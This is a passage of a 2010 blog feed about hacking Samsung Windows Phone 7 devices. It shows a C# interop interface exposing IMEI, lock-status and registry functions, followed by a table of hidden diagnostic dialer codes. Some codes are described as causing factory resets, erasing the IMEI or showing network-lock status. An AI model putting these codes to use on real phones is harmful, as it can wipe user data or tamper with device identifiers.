0px"&gt;&lt;span style="color: #606060" id="lnum25"&gt;  25:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;class&lt;/span&gt; COSecRilControl&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum26"&gt;  26:&lt;/span&gt; {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum27"&gt;  27:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum28"&gt;  28:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum29"&gt;  29:&lt;/span&gt; [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid(&lt;span style="color: #006080"&gt;"A5857C17-04C2-49c5-A460-05A21660588F"&lt;/span&gt;)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum30"&gt;  30:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;interface&lt;/span&gt; ISecRilControl&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum31"&gt;  31:&lt;/span&gt; {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum32"&gt;  32:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; Init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum33"&gt;  33:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; Deinit();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum34"&gt;  34:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; Run(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; mode);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum35"&gt;  35:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; End();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum36"&gt;  36:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; SetInput(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; type);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum37"&gt;  37:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; Back();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum38"&gt;  38:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; GetDispInfo(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; svcMode, [MarshalAs(UnmanagedType.SafeArray)] &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] info);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum39"&gt;  39:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; GetEvent(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; type, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;int&lt;/span&gt; pEvent);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum40"&gt;  40:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; SetEventCOM(&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; name);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum41"&gt;  41:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; LaunchExe(&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; exe, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; arg);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum42"&gt;  42:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; DoHiddenKey(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; hashcode);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum43"&gt;  43:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; GetLockingStatus(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; m_dwLockFacility, [MarshalAs(UnmanagedType.SafeArray)] &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] pPasswd);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum44"&gt;  44:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; SetLockingStatus(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; m_dwLockFacility, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; data, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; m_dwStatus, [MarshalAs(UnmanagedType.SafeArray)] &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] result);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum45"&gt;  45:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; GetIMSI(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; IMSI);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum46"&gt;  46:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; GetIMEI(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; IMEI);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum47"&gt;  47:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; DoHiddenKeyWithResult(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; hashcode, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; jobName);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum48"&gt;  48:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; WaitNamedEvent(&lt;span style="color: #0000ff"&gt;int&lt;/span&gt; timeout, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; name);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum49"&gt;  49:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; RegSetDWORD(&lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; HKEY, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; pwszPath, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; valueName, &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; &lt;span style="color: #0000ff"&gt;value&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum50"&gt;  50:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; RegGetDWORD(&lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; HKEY, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; pwszPath, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; valueName, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; &lt;span style="color: #0000ff"&gt;value&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum51"&gt;  51:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; RegSetString(&lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; HKEY, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; pwszPath, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; valueName, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; &lt;span style="color: #0000ff"&gt;value&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum52"&gt;  52:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; RegGetString(&lt;span style="color: #0000ff"&gt;uint&lt;/span&gt; HKEY, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; pwszPath, &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; valueName, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; &lt;span style="color: #0000ff"&gt;value&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum53"&gt;  53:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; ReadTextFile(&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; path, &lt;span style="color: #0000ff"&gt;out&lt;/span&gt; &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; result);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum54"&gt;  54:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;This is a great read about Windows Phone 7 hacking [&lt;a href="http://forum.xda-developers.com/showthread.php?t=820455" target="_blank"&gt;link&lt;/a&gt;].&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3144501486120008456?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3144501486120008456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/12/reading-imei-on-windows-phone-7-devices.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3144501486120008456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3144501486120008456'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/12/reading-imei-on-windows-phone-7-devices.html' title='Reading IMEI on Windows Phone 7 Devices (Samsung Only)'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5022966669252335988</id><published>2010-12-26T21:54:00.002+01:00</published><updated>2011-01-13T13:48:09.087+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung omnia 7'/><title type='text'>Windows Phone 7 hacks, all the diagnosis codes you need, Part 2</title><content type='html'>As promised in &lt;a href="http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you.html" target="_blank"&gt;part 1&lt;/a&gt;, here is the rest of the Samsung diagnosis codes for Windows Phone 7. If you don’t know how to use them, refer to part 1 for more information.&lt;br /&gt;&lt;table border="0" cellpadding="2" cellspacing="0" style="width: 400px;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;&lt;span style="color: red;"&gt;*#05#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="306"&gt;&lt;span style="color: red;"&gt;Main tests : Camera, sensors, proximity, battery, acceleration, light …&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#9908#&lt;/td&gt; &lt;td valign="top" width="306"&gt;GPRS manager/Gumi test Bed/ Suwon2G / Suwon3G&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#9909#&lt;/td&gt; &lt;td valign="top" width="306"&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#9911#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Debug mode for chg/bat&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#9920#&lt;/td&gt; &lt;td valign="top" width="306"&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#32489#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Ciphering control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#32589#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Camera FW update&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#94765#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Disable AutoSim settings&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#99732#&lt;/td&gt; &lt;td valign="top" width="306"&gt;The (Java) Build script&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#99785#&lt;/td&gt; &lt;td valign="top" width="306"&gt;PVK Key&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#232331#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth RF Test Mode&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#232332#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth Audio&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#232333#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth Search Test&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#232337#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth Mac&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#232338#&lt;/td&gt; &lt;td valign="top" width="306"&gt;WLAN Mac&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;&lt;span style="color: red;"&gt;*#232339#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="306"&gt;&lt;span style="color: red;"&gt;WLAN Test – Change channel – Datarange etc..&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#737425#&lt;/td&gt; &lt;td valign="top" width="306"&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;&lt;span style="color: red;"&gt;*#914789#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="306"&gt;&lt;span style="color: red;"&gt;Apps launcher / List of EXE files&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#997856#&lt;/td&gt; &lt;td valign="top" width="306"&gt;PVK File name&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#1472365#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Black Swan GPS location services&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#4238378#&lt;/td&gt; &lt;td valign="top" width="306"&gt;GCF / GSM&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#7465625#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Lock status/ network lock / Subset, SP lock/ CPLOCK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;20652609&lt;/td&gt; &lt;td valign="top" width="306"&gt;Disable Bluetooth log&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;20652619&lt;/td&gt; &lt;td valign="top" width="306"&gt;Enable Bluetooth log (you can copy the file ftslog.cfa use wpget.exe)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;20652629&lt;/td&gt; &lt;td valign="top" width="306"&gt;SSP debug on&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;20652639&lt;/td&gt; &lt;td valign="top" width="306"&gt;SSP debug off&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#22558463#&lt;/td&gt; &lt;td valign="top" width="306"&gt;Call time logs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;35190718&lt;/td&gt; &lt;td valign="top" width="306"&gt;Erasing IMEI (seriously?)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;35190728&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth stuff&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;61709124&lt;/td&gt; &lt;td valign="top" width="306"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;61709134&lt;/td&gt; &lt;td valign="top" width="306"&gt;Bluetooth log&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;61709144&lt;/td&gt; &lt;td valign="top" width="306"&gt;SSP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;61709154&lt;/td&gt; &lt;td valign="top" width="306"&gt;SSP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;&lt;span style="color: red;"&gt;71671835&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="306"&gt;&lt;span style="color: red;"&gt;Factory Reset (careful while testing this one)&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;76247233&lt;/td&gt; &lt;td valign="top" width="306"&gt;Factory Reset&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;76247243&lt;/td&gt; &lt;td valign="top" width="306"&gt;Factory Reset&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="94"&gt;*#99867247#&lt;/td&gt; &lt;td valign="top" width="306"&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5022966669252335988?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5022966669252335988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you_26.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5022966669252335988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5022966669252335988'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you_26.html' title='Windows Phone 7 hacks, all the diagnosis codes you need, Part 2'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 